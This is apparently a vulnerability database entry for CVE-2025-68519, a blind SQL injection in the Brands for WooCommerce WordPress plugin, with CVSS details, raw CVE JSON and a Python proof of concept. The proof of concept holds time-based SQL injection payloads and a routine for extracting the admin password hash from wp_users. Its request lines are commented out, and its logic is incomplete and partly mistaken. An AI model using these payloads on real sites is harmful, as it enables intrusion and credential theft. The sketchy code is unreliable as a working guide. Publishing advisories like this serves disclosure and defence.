Security Vulnerability Report
中文
CVE-2025-68519 CVSS 8.5 HIGH

CVE-2025-68519

Published: 2025-12-24 13:16:22
Last Modified: 2026-04-27 19:16:27

Description

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in BeRocket Brands for WooCommerce brands-for-woocommerce allows Blind SQL Injection.This issue affects Brands for WooCommerce: from n/a through <= 3.8.6.3.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Brands for WooCommerce <= 3.8.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import time target = "http://target-site.com/wp-json/wp/v2/" # Target WordPress site # The vulnerable endpoint depends on the plugin's AJAX/REST handlers # Based on the vulnerability description, the injection occurs in brand/term parameters def test_blind_sql_injection(url): """Test for blind SQL injection in Brands for WooCommerce plugin""" headers = { "Content-Type": "application/json", "X-WordPress-Nonce": "" # Need valid nonce } # Test payload - if TRUE, response time increases true_payload = "1' AND (SELECT 1 FROM wp_users WHERE 1=1) AND SLEEP(5)---" false_payload = "1' AND (SELECT 1 FROM wp_users WHERE 1=2) AND SLEEP(5)---" print("Testing True condition...") start = time.time() # In real scenario, replace with actual vulnerable parameter # response = requests.get(url + "?brand_id=" + true_payload, headers=headers) print(f"Response time: {time.time() - start:.2f}s") print("Testing False condition...") start = time.time() # response = requests.get(url + "?brand_id=" + false_payload, headers=headers) print(f"Response time: {time.time() - start:.2f}s") def extract_admin_hash(url): """Extract admin password hash using blind SQL injection""" charset = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" admin_hash = "" for pos in range(1, 33): # MD5 hash is 32 characters for char in charset: payload = f"1' AND (SELECT SUBSTRING(user_pass,{pos},1) FROM wp_users WHERE ID=1)='{char}' AND SLEEP(3)---" start = time.time() # In real attack, send request with payload # if time.time() - start > 2.5: # True condition # admin_hash += char # break pass return admin_hash # Note: This is a conceptual PoC. Actual exploitation requires: # 1. Valid WordPress authentication (low-privilege user) # 2. Identifying the exact vulnerable endpoint # 3. Understanding the plugin's parameter handling

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68519", "sourceIdentifier": "[email protected]", "published": "2025-12-24T13:16:21.517", "lastModified": "2026-04-27T19:16:27.497", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in BeRocket Brands for WooCommerce brands-for-woocommerce allows Blind SQL Injection.This issue affects Brands for WooCommerce: from n/a through <= 3.8.6.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/brands-for-woocommerce/vulnerability/wordpress-brands-for-woocommerce-plugin-3-8-6-3-sql-injection-vulnerability?_s_id=cve", "source": "[email protected]"}]}}